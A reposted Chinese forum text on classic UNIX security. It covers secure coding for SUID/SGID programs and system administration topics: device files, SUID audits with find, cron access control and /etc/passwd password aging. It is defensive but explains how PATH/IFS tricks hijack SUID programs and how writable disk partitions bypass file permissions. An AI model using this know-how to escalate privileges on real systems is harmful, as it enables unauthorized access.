它的用户的SUID程序时很有用,可调用它们来检查确认本程序的确是以该
用户的SUID许可在运行.
*setuid():用于改变有效的UID.
对于一般用户,此子程序仅对要在有效和实际的UID之间变换的SUID程序才
有用(从原有效UID变换为实际UID),以保护进程不受到安全危害.实际上该
进程不再是SUID方式运行.
*setgid():用于改变有效的GID.

2.标准C库

(1)标准I/O
*fopen():打开一个文件供读或写,安全方面的考虑同open()一样.
*fread(),getc(),fgetc(),gets(),scanf()和fscanf():从已由fopen()打
开供读的文件中读取信息.它们并不关心文件的存取许可.这一点
同read().
*fwrite(),put(),fputc(),puts,fputs(),printf(),fprintf():写信息到
已由fopen()打开供写的文件中.它们也不关心文件的存取许可.
同write().
*getpass():从终端上读至多8个字符长的口令,不回显用户输入的字符.
需要一个参数: 提示信息.
该子程序将提示信息显示在终端上,禁止字符回显功能,从/dev/tty读取口
令,然后再恢复字符回显功能,返回刚敲入的口令的指针.
*popen():将在(5)运行shell中介绍.

(2)/etc/passwd处理
有一组子程序可对/etc/passwd文件进行方便的存取,可对文件读取到入口
项或写新的入口项或更新等等.
*getpwuid():从/etc/passwd文件中获取指定的UID的入口项.
*getpwnam():对于指定的登录名,在/etc/passwd文件检索入口项.
以上两个子程序返回一指向passwd结构的指针,该结构定义在
/usr/include/pwd.h中,定义如下:
struct passwd {
char * pw_name; /* 登录名 */
char * pw_passwd; /* 加密后的口令 */
uid_t pw_uid; /* UID */
gid_t pw_gid; /* GID */
char * pw_age; /* 代理信息 */
char * pw_comment; /* 注释 */
char * pw_gecos;
char * pw_dir; /* 主目录 */
char * pw_shell; /* 使用的shell */
};
*getpwent(),setpwent(),endpwent():对口令文件作后续处理.
首次调用getpwent(),打开/etc/passwd并返回指向文件中第一个入口项的
指针,保持调用之间文件的打开状态.
再调用getpwent()可顺序地返回口令文件中的各入口项.
调用setpwent()把口令文件的指针重新置为文件的开始处.
使用完口令文件后调用endpwent()关闭口令文件.
*putpwent():修改或增加/etc/passwd文件中的入口项.
此子程序将入口项写到一个指定的文件中,一般是一个临时文件,直接写口
令文件是很危险的.最好在执行前做文件封锁,使两个程序不能同时写一个
文件.算法如下:
. 建立一个独立的临时文件,即/etc/passnnn,nnn是PID号.
. 建立新产生的临时文件和标准临时文件/etc/ptmp的链,若建链失败,
则为有人正在使用/etc/ptmp,等待直到/etc/ptmp可用为止或退出.
. 将/etc/passwd拷贝到/etc/ptmp,可对此文件做任何修改.
. 将/etc/passwd移到备份文件/etc/opasswd.
. 建立/etc/ptmp和/etc/passwd的链.
. 断开/etc/passnnn与/etc/ptmp的链.
注意:临时文件应建立在/etc目录,才能保证文件处于同一文件系统中,建
链才能成功,且临时文件不会不安全.此外,若新文件已存在,即便建
链的是root用户,也将失败,从而保证了一旦临时文件成功地建链后
没有人能再插进来干扰.当然,使用临时文件的程序应确保清除所有
临时文件,正确地捕捉信号.

(3)/etc/group的处理
有一组类似于前面的子程序处理/etc/group的信息,使用时必须用include
语句将/usr/include/grp.h文件加入到自己的程序中.该文件定义了group
结构,将由getgrnam(),getgrgid(),getgrent()返回group结构指针.
*getgrnam():在/etc/group文件中搜索指定的小组名,然后返回指向小组入
口项的指针.
*getgrgid():类似于前一子程序,不同的是搜索指定的GID.
*getgrent():返回group文件中的下一个入口项.
*setgrent():将group文件的文件指针恢复到文件的起点.
*endgrent():用于完成工作后,关闭group文件.
*getuid():返回调用进程的实际UID.
*getpruid():以getuid()返回的实际UID为参数,确定与实际UID相应的登录
名,或指定一UID为参数.
*getlogin():返回在终端上登录的用户的指针.
系统依次检查STDIN,STDOUT,STDERR是否与终端相联,与终端相联的标准输
入用于确定终端名,终端名用于查找列于/etc/utmp文件中的用户,该文件
由login维护,由who程序用来确认用户.
*cuserid():首先调用getlogin(),若getlogin()返回NULL指针,再调用
getpwuid(getuid()).
*以下为命令:
*logname:列出登录进终端的用户名.
*who am i:显示出运行这条命令的用户的登录名.
*id:显示实际的UID和GID(若有效的UID和GID和实际的不同时也显示有效的
UID和GID)和相应的登录名.

(4)加密子程序
1977年1月,NBS宣布一个用于美国联邦政府ADP系统的网络的标准加密法:数
据加密标准即DES用于非机密应用方面.DES一次处理64BITS的块,56位的加
密键.
*setkey(),encrypt():提供用户对DES的存取.
此两子程序都取64BITS长的字符数组,数组中的每个元素代表一个位,为0
或1.setkey()设置将按DES处理的加密键,忽略每第8位构成一个56位的加
密键.encrypt()然后加密或解密给定的64BITS长的一块,加密或解密取决
于该子程序的第二个变元,0:加密 1:解密.
*crypt():是UNIX系统中的口令加密程序,也被/usr/lib/makekey命令调用.
crypt()子程序与crypt命令无关,它与/usr/lib/makekey一样取8个字符长
的关键词,2个salt字符.关键词送给setkey(),salt字符用于混合encrypt()
中的DES算法,最终调用encrypt()重复25次加密一个相同的字符串.
返回加密后的字符串指针.

(5)运行shell
*system():运行/bin/sh执行其参数指定的命令,当指定命令完成时返回.
*popen():类似于system(),不同的是命令运行时,其标准输入或输出联到由
popen()返回的文件指针.
二者都调用fork(),exec(),popen()还调用pipe(),完成各自的工作,因而
fork()和exec()的安全方面的考虑开始起作用.

3.写安全的C程序
一般有两方面的安全问题,在写程序时必须考虑:
(1)确保自己建立的任何临时文件不含有机密数据,如果有机密数据,设置
临时文件仅对自己可读/写.确保建立临时文件的目录仅对自己可写.
(2)确保自己要运行的任何命令(通过system(),popen(),execlp(),
execvp()运行的命令)的确是自己要运行的命令,而不是其它什么命
令,尤其是自己的程序为SUID或SGID许可时要小心.
第一方面比较简单,在程序开始前调用umask(077).若要使文件对其他人可
读,可再调chmod(),也可用下述语名建立一个"不可见"的临时文件.
creat("/tmp/xxx",0);
file=open("/tmp/xxx",O_RDWR);
unlink("/tmp/xxx");
文件/tmp/xxx建立后,打开,然后断开链,但是分配给该文件的存储器并未删
除,直到最终指向该文件的文件通道被关闭时才被删除.打开该文件的进程
和它的任何子进程都可存取这个临时文件,而其它进程不能存取该文件,因
为它在/tmp中的目录项已被unlink()删除.
第二方面比较复杂而微妙,由于system(),popen(),execlp(),execvp()执行
时,若不给出执行命令的全路径,就能"骗"用户的程序去执行不同的命令.因
为系统子程序是根据PATH变量确定哪种顺序搜索哪些目录,以寻找指定的命
令,这称为SUID陷井.最安全的办法是在调用system()前将有效UID改变成实
际UID,另一种比较好的方法是以全路径名命令作为参数.execl(),execv(),
execle(),execve()都要求全路径名作为参数.有关SUID陷井的另一方式是
在程序中设置PATH,由于system()和popen()都启动shell,故可使用shell句
法.如:
system("PATH=/bin:/usr/bin cd");
这样允许用户运行系统命令而不必知道要执行的命令在哪个目录中,但这种
方法不能用于execlp(),execvp()中,因为它们不能启动shell执行调用序列
传递的命令字符串.
关于shell解释传递给system()和popen()的命令行的方式,有两个其它的问
题:
*shell使用IFS shell变量中的字符,将命令行分解成单词(通常这个
shell变量中是空格,tab,换行),如IFS中是/,字符串/bin/ed被解释成单词
bin,接下来是单词ed,从而引起命令行的曲解.

再强调一次:在通过自己的程序运行另一个程序前,应将有效UID改为实际的
UID,等另一个程序退出后,再将有效UID改回原来的有效UID.

SUID/SGID程序指导准则
(1)不要写SUID/SGID程序,大多数时候无此必要.
(2)设置SGID许可,不要设置SUID许可.应独自建立一个新的小组.
(3)不要用exec()执行任何程序.记住exec()也被system()和popen()调用.
. 若要调用exec()(或system(),popen()),应事先用setgid(getgid())
将有效GID置加实际GID.
. 若不能用setgid(),则调用system()或popen()时,应设置IFS:
popen("IFS=\t\n;export IFS;/bin/ls","r");
. 使用要执行的命令的全路径名.
. 若不能使用全路径名,则应在命令前先设置PATH:
popen("IFS=\t\n;export IFS;PATH=/bin:/usr/bin;/bin/ls","r");
. 不要将用户规定的参数传给system()或popen();若无法避免则应检查
变元字符串中是否有特殊的shell字符.
. 若用户有个大程序,调用exec()执行许多其它程序,这种情况下不要将
大程序设置为SGID许可.可以写一个(或多个)更小,更简单的SGID程序
执行必须具有SGID许可的任务,然后由大程序执行这些小SGID程序.
(4)若用户必须使用SUID而不是SGID,以相同的顺序记住(2),(3)项内容,并
相应调整.不要设置root的SUID许可.选一个其它户头.
(5)若用户想给予其他人执行自己的shell程序的许可,但又不想让他们能
读该程序,可将程序设置为仅执行许可,并只能通过自己的shell程序来
运行.
编译,安装SUID/SGID程序时应按下面的方法
(1)确保所有的SUID(SGID)程序是对于小组和其他用户都是不可写的,存取
权限的限制低于4755(2755)将带来麻烦.只能更严格.4111(2111)将使
其他人无法寻找程序中的安全漏洞.
(2)警惕外来的编码和make/install方法
. 某些make/install方法不加选择地建立SUID/SGID程序.
. 检查违背上述指导原则的SUID/SGID许可的编码.
. 检查makefile文件中可能建立SUID/SGID文件的命令.

4.root程序的设计
有若干个子程序可以从有效UID为0的进程中调用.许多前面提到的子程序,
当从root进程中调用时,将完成和原来不同的处理.主要是忽略了许可权限的检
查.
由root用户运行的程序当然是root进程(SUID除外),因有效UID用于确定文
件的存取权限,所以从具有root的程序中,调用fork()产生的进程,也是root进程.

(1)setuid():从root进程调用setuid()时,其处理有所不同,setuid()将把有
效的和实际的UID都置为指定的值.这个值可以是任何整型数.而对非root
进程则仅能以实际UID或本进程原来有效的UID为变量值调用setuid().
(2)setgid():在系统进程中调用setgid()时,与setuid()类似,将实际和有效
的GID都改变成其参数指定的值.
* 调用以上两个子程序时,应当注意下面几点:
. 调用一次setuid()(setgid())将同时设置有效和实际UID(GID),独立分
别设置有效或实际UID(GID)固然很好,但无法做到这点.
. setuid()(setgid())可将有效和实际UID(GID)设置成任何整型数,其数
值不必一定与/etc/passwd(/etc/group)中用户(小组)相关联.
. 一旦程序以一个用户的UID了setuid(),该程序就不再做为root运行,也
不可能再获root特权.
(3)chown():当root进程运行chown()时,chown()将不删除文件的SUID和/或
SGID许可,但当非root进程运行chown()时,chown()将取消文件的SUID和/
或SGID许可.
(4)chroot():改变进程对根目录的概念,调用chroot()后,进程就不能把当前
工作目录改变到新的根目录以上的任一目录,所有以/开始的路径搜索,都
从新的根目录开始.
(5)mknod():用于建立一个文件,类似于creat(),差别是mknod()不返回所打开
文件的文件描述符,并且能建立任何类型的文件(普通文件,特殊文件,目录
文件).若从非root进程调用mknod()将执行失败,只有建立FIFO特别文件
(有名管道文件)时例外,其它任何情况下,必须从root进程调用mknod().由
于creat()仅能建立普通文件,mknod()是建立目录文件的唯一途径,因而仅
有root能建立目录,这就是为什么mkdir命令具有SUID许可并属root所有.
一般不从程序中调用mknod().通常用/etc/mknod命令建立特别设备文件而
这些文件一般不能在使用着时建立和删除,mkdir命令用于建立目录.当用
mknod()建立特别文件时,应当注意确从所建的特别文件不允许存取内存,
磁盘,终端和其它设备.
(6)unlink():用于删除文件.参数是要删除文件的路径名指针.当指定了目录
时,必须从root进程调用unlink(),这是必须从root进程调用unlink()的唯
一情况,这就是为什么rmdir命令具有root的SGID许可的原因.
(7)mount(),umount():由root进程调用,分别用于安装和拆卸文件系统.这两
个子程序也被mount和umount命令调用,其参数基本和命令的参数相同.调
用mount(),需要给出一个特别文件和一个目录的指针,特别文件上的文件
系统就将安装在该目录下,调用时还要给出一个标识选项,指定被安装的文
件系统要被读/写(0)还是仅读(1).umount()的参数是要一个要拆卸的特别
文件的指针.


也谈安全-转贴-系统管理员安全

作者：zglcl008 发表时间：2002/03/08 07:48pm

系统管理员安全
本文从系统管理员的角度讨论安全问题.系统管理员是管理系统的人:启动
系统,停止系统运行,安装新软件,增加新用户,删除老用户,以及完成保持系统发
展和运行的日常事务工作.

1.安全管理
安全管理主要分为四个方面:
(1)防止未授权存取:这是计算机安全最重要的问题:未被使用系统的人进入系
统.用户意识,良好的口令管理(由系统管理员和用户双方配合),登录活动
记录和报告,用户和网络活动的周期检查,这些都是防止未授权存取的关键.
(2)防止泄密:这也是计算机安全的一个重要问题.防止已授权或未授权的用户
相互存取相互的重要信息.文件系统查帐,su登录和报告,用户意识,加密都
是防止泄密的关键.
(3)防止用户拒绝系统的管理:这一方面的安全应由操作系统来完成.一个系统
不应被一个有意试图使用过多资源的用户损害.不幸的是,UNIX不能很好地
限制用户对资源的使用,一个用户能够使用文件系统的整个磁盘空间,而
UNIX基本不能阻止用户这样做.系统管理员最好用PS命令,记帐程序df和du
周期地检查系统.查出过多占用CUP的进程和大量占用磁盘的文件.
(4)防止丢失系统的完整性:这一安全方面与一个好系统管理员的实际工作(例
如:周期地备份文件系统,系统崩溃后运行fsck检查,修复文件系统,当有新
用户时,检测该用户是否可能使系统崩溃的软件)和保持一个可靠的操作系
统有关(即用户不能经常性地使系统崩溃).
本文其余部分主要涉及前两个问题,第三个问题在"安全查帐"一节讨论.

2.超级用户
一些系统管理命令只能由超级用户运行.超级用户拥有其他用户所没有的特
权,超级用户不管文件存取许可方式如何,都可以读,写任何文件,运行任何程序.
系统管理员通常使用命令: /bin/su 或以 root 进入系统从而成为超级用户.在
后面文章中以#表示应敲入必须由超级用户运行的命令,用$表示应敲入由所有其
他用户运行的命令.

3.文件系统安全
(1)UNIX文件系统概述
UNIX文件系统是UNIX系统的心脏部分,提供了层次结构的目录和文件.文
件系统将磁盘空间划分为每1024个字节一组,称为块(block)(也有用512字节
为一块的,如:SCO XENIX).编号从0到整个磁盘的最大块数.
全部块可划分为四个部分,块0称为引导块,文件系统不用该块;块1称为专
用块,专用块含有许多信息,其中有磁盘大小和全部块的其它两部分的大小.从
块2开始是i节点表,i节点表中含有i节点,表的块数是可变的,后面将做讨论.
i节点表之后是空闲存储块(数据存储块),可用于存放文件内容.
文件的逻辑结构和物理结构是十分不同的,逻辑结构是用户敲入cat命令
后所看到的文件,用户可得到表示文件内容的字符流.物理结构是文件实际上
如何存放在磁盘上的存储格式.用户认为自己的文件是边疆的字符流,但实际
上文件可能并不是以边疆的方式存放在磁盘上的,长于一块的文件通常将分散
地存放在盘上.然而当用户存取文件时,UNIX文件系统将以正确的顺序取各块,
给用户提供文件的逻辑结构.
当然,在UNIX系统的某处一定会有一个表,告诉文件系统如何将物理结构
转换为逻辑结构.这就涉及到i节点了.i节点是一个64字节长的表,含有有关一
个文件的信息,其中有文件大小,文件所有者,文件存取许可方式,以及文件为
普通文件,目录文件还是特别文件等.在i节点中最重要的一项是磁盘地址表.
该表中有13个块号.前10个块号是文件前10块的存放地址.这10个块号能给出
一个至多10块长的文件的逻辑结构,文件将以块号在磁盘地址表中出现的顺序
依次取相应的块.
当文件长于10块时又怎样呢?磁盘地址表中的第十一项给出一个块号,这
个块号指出的块中含有256个块号,至此,这种方法满足了至多长于266块的文
件(272,384字节).如果文件大于266块,磁盘地址表的第十二项给出一个块号,
这个块号指出的块中含有256个块号,这256个块号的每一个块号又指出一块,
块中含256个块号,这些块号才用于取文件的内容.磁盘地址中和第十三项索引
寻址方式与第十二项类似,只是多一级间接索引.
这样,在UNIX系统中,文件的最大长度是16,842,762块,即17,246,988,288
字节,有幸是是UNIX系统对文件的最大长度(一般为1到2M字节)加了更实际的
限制,使用户不会无意中建立一个用完整个磁盘窨所有块的文件.
文件系统将文件名转换为i节点的方法实际上相当简单.一个目录实际上
是一个含有目录表的文件:对于目录中的每个文件,在目录表中有一个入口项,
入口项中含有文件名和与文件相应的i节点号.当用户敲入cat xxx时,文件系
统就在当前目录表中查找名为xxx的入口项,得到与文件xxx相应的i节点号,然
后开始取含有文件xxx的内容的块.

(2)设备文件
UNIX系统与边在本系统上的各种设备之间的通讯,通过特别文件来实现,
就程序而言,磁盘是文件,MODEM是文件,甚至内存也是文件.所有连接到系统上
的设备都在/dev目录中有一个文件与其对应.当在这些文件上执行I/O操作时,
由UNIX系统将I/O操作转换成实际设备的动作.例如,文件/dev/mem是系统的内
存,如果cat这个文件,实际上是在终端显示系统的内存.为了安全起见,这个文
件对普通用户是不可读的.因为在任一给定时间,内存区可能含有用户登录口
令或运行程序的口令,某部分文件的编辑缓冲区,缓冲区可能含有用ed -x命令
解密后的文本,以及用户不愿让其他人存取的种种信息.
在/dev中的文件通常称为设备文件,用ls /dev命令可以看看系统中的一
些设备:
acuo 呼叫自动拨号器
console 系统控制台
dsknn 块方式操作磁盘分区
kmem 核心内存
mem 内存
lp 打印机
mto 块方式操作磁带
rdsknn 流方式操作的磁盘分区
rmto 流方式操作的磁带
swap 交换区
syscon 系统终端
ttynn 终端口
x25 网络端口
等等

(3)/etc/mknod命令
用于建立设备文件.只有root能使用这个命令建立设备文件.其参数是文
件名,字母c或b分别代表字符特别文件或块特别文件,主设备号,次设备号.块
特别文件是像磁带,磁盘这样一些以块为单位存取数据的设备.字符特别文件
是如像终端,打印机,MODEM,或者其它任何与系统通讯时,一次传输一个字符的
设备,包括模仿对磁盘进行字符方式存取的磁盘驱动器.主设备号指定了系统
子程序(设备驱动程序),当在设备上执行I/O时,系统将调用这个驱动程序.调
用设备驱动程序时,次设备号将传递给该驱动程序(次设备规定具体的磁盘驱
动器,带驱动器,信号线编号,或磁盘分区).每种类型的设备一般都有自己的设
备驱动程序.
文件系统将主设备号和次设备号存放在i节点中的磁盘地址表内,所以没
有磁盘空间分配给设备文件(除i节点本身占用的磁盘区外).当程序试图在设
备文件上执行I/O操作时,系统识别出该文件是一个特别文件,并调用由主设备
号指定的设备驱动程序,次设备号作为调用设备驱动程序的参数.

(4)安全考虑
将设备处理成文件,使得UNIX程序独立于设备,即程序不必一定要了解正
使用的设备的任何特性,存取设备也不需要记录长度,块大小,传输速度,网络
协议等这样一些信息,所有烦人的细节由设备驱动程序去关心考虑,要存取设
备,程序只须打开设备文件,然后作为普通的UNIX文件来使用.
从安全的观点来看这样处理很好,因为任何设备上进行的I/O操作只经过
了少量的渠道(即设备文件).用户不能直接地存取设备.所以如果正确地设置
了磁盘分区的存取许可,用户就只能通过UNIX文件系统存取磁盘.文件系统有
内部安全机制(文件许可).不幸的是,如果磁盘分区设备得不正确,任何用户都
能够写一个程序读磁盘分区中的每个文件,作法很简单:读一i节点,然后以磁
盘地址表中块号出现的顺序,依次读这些块号指出的存有文件内容的块.故除
了root以外,决不要使盘分区对任何人可写.因为所有者,文件存取许可方式这
样一些信息存放于i节点中,任何人只要具有已安装分区的写许可,就能设置任
何文件的SUID许可,而不管文件的所有者是谁,也不必用chmod()命令,还可避
过系统建立的安全检查.
以上所述对内存文件mem,kmem和对换文件swap也是一样的.这些文件含有
用户信息,一个"耐心"的程序可以将用户信息提取出来.
要避免磁盘分区(以及其它设备)可读可写,应当在建立设备文件前先用
umask命令设置文件建立屏蔽值.
一般情况下,UNIX系统上的终端口对任何人都是可写的,从而使用户可以
用write命令发送信息.虽然write命令易引起安全方面的问题,但大多数用户
觉得用write得到其他用户的信息很方便,所以系统将终端设备的存取许可设
置成对所有用户可写.
/dev目录应当是755存取许可方式,且属root所有.
不允许除root外的任何用户读或写盘分区的原则有一例外,即一些程序
(通常是数据库系统)要求对磁盘分区直接存取,解决这个问题的经验的盘分区
应当由这种程序专用(不安装文件系统),而且应当告知使用这种程序的用户,
文件安全保护将由程序自己而不是UNIX文件系统完成.

(5)find命令
find命令用于搜索目录树,并对目录树上的所有文件执行某种操作,参数
是目录名表(指出从哪些起点开始搜索),还可给出一个或多个选项,规定对每
个文件执行什么操作.
find . -print 将列出当前工作目录下的目录树的每一个文件.
find / -user bob -print 将列出在系统中可找到的属于bob用户的所有
文件.
find /usr/bob -perm 666 -print 将列出/usr/bob目录树下所有存取许
可为666的文件.若将666改为-666则将列出所有具有包含了666在内
的存取许可方式的文件(如777).
find /usr/bob -type b -print 将列出/usr/bob目录树下所有块特别文
件(c为字符特别文件).
find / -user root -perm -4000 -exec ls -l {} \; 是一个较复杂一
点的命令,-exec COMMAND \;允许对所找到的每个文件运行指定的
命令COMMAND.若COMMAND中含有{},则{}将由find所找到的文件名替
换.COMMAND必须以\;结束.
以上举例介绍find的用法,各选项可组合使用以达到更强的功能.

(6)secure程序
系统管理员应当做一个程序以定期检查系统中的各个系统文件,包括检查
设备文件和SUID,SGID程序,尤其要注意检查SUID,SGID程序,检查/etc/passwd
和/etc/group文件,寻找久未登录的户头和校验各重要文件是否被修改.
(源程序清单将在今后发表)

(7)ncheck命令
用于检查文件系统,只用一个磁盘分区名作为参数,将列出i节点号及相应
的文件名.i节点相同的文件为建链文件.
注意:所列出的清单文件名与mount命令的第一个域相同的文件名前部分
将不会列出来.因为是做文件系统内部的检查,ncheck并不知道文件系统安装
点以上部分的目录.
也可用此命令来搜索文件系统中所有的SUID和SGID程序和设备文件,使用
-s选项来完成此项功能.

(8)安装和拆卸文件系统
UNIX文件系统是可安装的,这意味着每个文件系统可以连接到整个目录树
的任意节点上(根目录总是被安装上的).安装文件系统的目录称为安装点.
/etc/mount命令用于安装文件系统,用这条命令可将文件系统安装在现有
目录结构的任意处.
安装文件系统时,安装点的文件和目录都是不可存取的,因此未安装文件
系统时,不要将文件存入安装点目录.文件系统安装后,安装点的存取许可方式
和所有者将改变为所安装的文件根目录的许可方式和所有者.
安装文件系统时要小心:安装点的属性会改变!还要注意新建的文件,除非
新文件系统是由标准文件建立的,系统标准文件会设置适当的存取许可方式,
否则新文件系统的存取许可将是777!
可用-r选项将文件系统安装成只读文件系统.需要写保护的带驱动器和磁
盘应当以这种方式来安装.
不带任何参数的/etc/mount可获得系统中所安装的文件系统的有关信息.
包括:文件系统被安装的安装点目录,对应/dev中的哪个设备,只读或可读写,
安装时间和日期等.
从安全的观点来讲,可安装系统的危险来自用户可能请求系统管理员为其
安装用户自己的文件系统.如果安装了用户的文件系统,则应在允许用户存取
文件系统前,先扫描用户的文件系统,搜索SUID/SGID程序和设备文件.在除了
root外任何人不能执行的目录中安装文件系统,用find命令或secure列出可疑
文件,删除不属用户所有的文件的SUID/SGID许可.
用户的文件系统用完后,可用umount命令卸下文件系统.并将安装点目录
的所有者改回root,存取许可改为755.

(9)系统目录和文件
UNIX系统中有许多文件不允许用户写,如:/bin,/usr/bin,/usr/lbin,
/etc/passwd,/usr/lib/crontab,/unix,/etc/rc,/etc/inittab这样一些文件
和目录(大多数的系统目录),可写的目录允许移动文件,会引起安全问题.
系统管理员应经常检查系统文件和目录的许可权限和所有者.可做一个程
序根据系统提供的规则文件(在/etc/permlist文件中)所描述的文件所有者和
许可权规则检查各文件.
(源程序清单将在今后发表)
注意:如果系统的安全管理不好,或系统是新安装的,其安全程序不够高,
可以用make方式在安全强的系统上运行上述程序,将许可规则文件拷贝到新系
统来,再以设置方式在新系统上运行上述程序,就可提高本系统的安全程序.但
要记住,两个系统必须运行相同的UNIX系统版本.

4.作为root运行的程序
在UNIX系统中,有些程序由系统作为root进程运行.这些程序并不总是具有
SUID许可,因为其不少程序仅由root运行,系统管理员需要清楚这些程序做什么,
以及这些程序还将运行其它什么程序.

(1)启动系统
当某些UNIX系统(如SCO UNIX/XENIX)启动时,是以被称为单用户的方式运
行,在这种方式中普通用户不能登录,唯有的进程是init,swapper,以及一些由
系统管理员从控制台运行的进程.UNIX系统的单用户方式启动,使系统管理员
能在允许普通用户登录以前,先检查系统操作,确保系统一切正常,当系统处于
单用户方式时,控制台作为超级用户,命令揭示是"#",有些UNIX系统不要确认
超级用户口令就认可控制台是root,给出#提示符.这就可能成为一个安全问题.

(2)init进程
UNIX系统总是以某种方式或称为某种级运行,系统有若干种运行级,这些
运行级由init进程控制.
UNIX系统启动时以单用户方式运行,也叫1级或S级.
对于其他用户登录进入系统,UNIX有一种多用户运行方式,也叫2级.
init进程控制系统运行级,它读入文件/etc/inittab,该文件详细地规定
了哪些进程在哪一级运行.当root敲入init n(数字),系统就进入n级.init读
该文件以确定终止哪些进程,启动哪些进程.
有效的运行级的数值是从0到6与s.
注意:由init建立的进程以UID为0运行(root)从/etc/inittab运行的程序
也作为root运行,所以系统管理员要确保自己知道/etc/inittab中的程序做什
么工作,确保这些程序以及这些程序所在的目录直到/和/etc/inittab除root
外无人可写.

(3)进入多用户
当UNIX系统进入多用户方式时,将寝化一系列事件,接着开始执行gettys,
允许其他用户登录进入系统.如果再看看/etc/inittab文件,会看到gettys定
义在运行级2,至少三个shell程序/etc/brc,/etc/bcheckrc,/etc/rc*也定义
在运行级2.这些程序都在gettys启动前运行.
这些shell程序作为root运行,也不能仅对root可写还应当检查shell程序
运行的命令,因为这些命令也将作为root运行.

(4)shutdown命令
用shutdown命令关系统,shutdown shell程序发送警告通知所有用户离开
系统,在"给定的期限时间"到了后,就终止进程,拆卸文件系统,进入单用户方
式或关机状态.一旦进入单用户方式,所有的gettys停止运行,用户再不能登录.
进入关机状态后可将系统关电.
shutdown仅能由作为root登录的用户从系统控制台上运行.所以任何的
shutdown运行的命令仅能对root可写.

(5)系统V的cron程序
cron在UNIX系统是多用户方式时运行,根据规定的时间安排执行指定的命
令,每隔一分钟检查一次文件/usr/lib/crontab,寻找是否有应当运行的程序?
如果找到要运行的程序,就运行该程序,否则睡眠等待一分钟.
实际的/usr/lib/crontab用于根据全天的规则时间表运行程序,也可在夜
晚运行白天不愿运行怕降低其他用户速度的程序.通常由cron运行的程序是如
记帐,存文件这样的程序.cron一般在系统进入多用户后由/etc/rc启动,当
shutdown运行killall命令时便终止运行.由cron运行的程序作为root,所以应
当注意放什么程序在crontab中,还要确保/usr/lib/crontab和该表中列出的
任何程序对任何人不可写.
如果用户需要由cron执行一个程序,系统管理员可用su命令在crontab表
中建立一个入口,使用户的程序不能获得root的权限.

(6)系统V版本2之后的cron程序
在系统V版本2中,cron被修改成允许用户建立自己的crontab入口,
/usr/lib/crontab文件不再存在,由目录/usr/spool/cron/crontabs中的文件
代替.这些文件的格式与crontab相同,但每个文件与系统中的一个用户对应,
并以某用户的名义由cron运行.
如果想限制能建立crontab的用户,可在文件/usr/lib/cron/cron.allow
文件中列出允许运行crontab命令的用户.任何未列于该文件的用户不能运行
crontab.反之,若更愿意列出不允许运行crontab命令的用户,则可将他们列入
/usr/lib/cron/cron.deny文件中,未列于该文件的其他用户将被允许建立
crontab.
注意:若两个文件都存在,系统将使用cron.allow,忽略cron.deny.如果两
个文件都不存在,则只有root可运行crontab.所以,若要允许系统中的所有用
户都可运行crontab命令,应当建立一个空的cron.deny文件,如果cron.allow
也存在,则删除该文件.
这个版本的cron命令的安全程度比前一个高,因为用户只能看自己的
crontab,系统管理员也不必担心其他用户的程序是否会作为root运行,由于允
许每个系统登录用户有自己的crontab,也简化了对程序必须由cron运行,但不
必作为root运行的系统程序的处理.
必须确保root的crontab文件仅对root可写,并且该文件所在的目录及所
有的父目录也仅对root可写.

(7)/etc/profile
每当用户(包括root在内)登录时,由shell执行/etc/profile文件,应确保
这个文件以及从这个文件运行的程序和命令都仅对root可写.

5./etc/passwd文件
/etc/passwd文件是UNIX安全的关键文件之一.该文件用于用户登录时校验
用户的口令,当然应当仅对root可写.文件中每行的一般格式为:
LOGNAME:PASSWORD:UID:GID:USERINFO:HOME:SHELL
每行的头两项是登录名和加密后的口令,后面的两个数是UID和GID,接着的
一项是系统管理员想写入的有关该用户的任何信息,最后两项是两个路径名:
一个是分配给用户的HOME目录,第二个是用户登录后将执行的shell(若为空格则
缺省为/bin/sh).

(1)口令时效
/etc/passwd文件的格式使系统管理员能要求用户定期地改变他们的口令.
在口令文件中可以看到,有些加密后的口令有逗号,逗号后有几个字符和一个
冒号.如:
steve:xyDfccTrt180x,M.y8:0:0:admin:/:/bin/sh
restrict:pomJk109Jky41,.1:0:0:admin:/:/bin/sh
pat:xmotTVoyumjls:0:0:admin:/:/bin/sh
可以看到,steve的口令逗号后有4个字符,restrict有2个,pat没有逗号.
逗号后第一个字符是口令有效期的最大周数,第二个字符决定了用户再次
修改口信之前,原口令应使用的最小周数(这就防止了用户改了新口令后立刻
又改回成老口令).其余字符表明口令最新修改时间.
要能读懂口令中逗号后的信息,必须首先知道如何用passwd_esc计数,计
数的方法是: .=0 /=1 0-9=2-11 A-Z=12-37 a-z=38-63
系统管理员必须将前两个字符放进/etc/passwd文件,以要求用户定期的
修改口令,另外两个字符当用户修改口令时,由passwd命令填入.
注意:若想让用户修改口令,可在最后一次口令被修改时,放两个".",则下
一次用户登录时将被要求修改自己的口令.
有两种特殊情况:
. 最大周数(第一个字符)小于最小周数(第二个字符),则不允许用户修改
口令,仅超级用户可以修改用户的口令.
. 第一个字符和第二个字符都是".",这时用户下次登录时被要求修改口
令,修改口令后,passwd命令将"."删除,此后再不会要求用户修改口令.

(2)UID和GID
/etc/passwd中UID信息很重要,系统使用UID而不是登录名区别用户.一般
来说,用户的UID应当是独一无二的,其他用户不应当有相同的UID数值.根据惯
例,从0到99的UID保留用作系统用户的UID(root,bin,uucp等).
如果在/etc/passwd文件中有两个不同的入口项有相同的UID,则这两个用
户对相互的文件具有相同的存取权限.

6./etc/group文件
/etc/group文件含有关于小组的信息,/etc/passwd中的每个GID在本文件中
应当有相应的入口项,入口项中列出了小组名和小组中的用户.这样可方便地了
解每个小组的用户,否则必须根据GID在/etc/passwd文件中从头至尾地寻找同组
用户.
/etc/group文件对小组的许可权限的控制并不是必要的,因为系统用UID,GID
(取自/etc/passwd)决定文件存取权限,即使/etc/group文件不存在于系统中,具
有相同的GID用户也可以小组的存取许可权限共享文件.
小组就像登录用户一样可以有口令.如果/etc/group文件入口项的第二个域
为非空,则将被认为是加密口令,newgrp命令将要求用户给出口令,然后将口令加
密,再与该域的加密口令比较.
给小组建立口令一般不是个好作法.第一,如果小组内共享文件,若有某人猜
着小组口令,则该组的所有用户的文件就可能泄漏;其次,管理小组口令很费事,
因为对于小组没有类似的passwd命令.可用/usr/lib/makekey生成一个口令写入
/etc/group.
以下情况必须建立新组:
(1)可能要增加新用户,该用户不属于任何一个现有的小组.
(2)有的用户可能时常需要独自为一个小组.
(3)有的用户可能有一个SGID程序,需要独自为一个小组.
(4)有时可能要安装运行SGID的软件系统,该软件系统需要建立一个新组.
要增加一个新组,必须编辑该文件,为新组加一个入口项.
